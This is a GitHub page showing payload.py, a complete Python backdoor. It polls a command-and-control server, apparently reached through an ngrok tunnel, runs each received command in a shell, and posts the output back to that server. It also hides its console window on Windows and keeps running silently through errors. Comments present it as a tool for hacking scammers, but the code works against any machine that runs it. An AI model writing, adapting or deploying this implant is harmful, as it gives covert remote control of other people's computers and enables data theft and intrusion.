-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.py
More file actions
75 lines (63 loc) · 2.27 KB
/
Copy pathpayload.py
File metadata and controls
75 lines (63 loc) · 2.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import subprocess
import requests
import time
import json
import sys
import os
# !!! REPLACE WITH YOUR NGROK HTTPS URL !!!
# Example: https://abc123.ngrok.io
REMOTE_C2 = "<URL>"
# Polling interval (seconds) - how often the victim checks for commands
POLL_INTERVAL = 3
def send_output(output):
"""Send command output back to the Expert C2 server."""
try:
url = f"{REMOTE_C2}/output"
headers = {'Content-Type': 'application/json'}
data = json.dumps({'output': output})
requests.post(url, headers=headers, data=data, timeout=5)
except Exception:
# Silently fail - don't alert the Scammer
pass
def get_command():
"""Fetch the next command from the Expert C2 server."""
try:
url = f"{REMOTE_C2}/command"
response = requests.get(url, timeout=5)
if response.status_code == 200:
data = response.json()
if data.get('status') == 'success':
return data.get('command', '')
except Exception:
pass
return None
def main():
# Hide the terminal window when the .exe runs on Windows
if os.name == 'nt':
try:
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
except:
pass
while True:
try:
command = get_command()
if command is not None and command.strip() != "":
# If the expert types 'exit', kill the payload
if command.lower() == "exit":
sys.exit(0)
# Execute the command
output = subprocess.run(command, shell=True,
capture_output=True, text=True)
result = output.stdout + output.stderr
if result == "":
result = "[+] Command executed successfully (no output)."
# Send results back to the expert
send_output(result)
# Sleep before checking for the next command
time.sleep(POLL_INTERVAL)
except Exception:
# Keep running silently even if errors occur
time.sleep(POLL_INTERVAL)
if __name__ == "__main__":
main()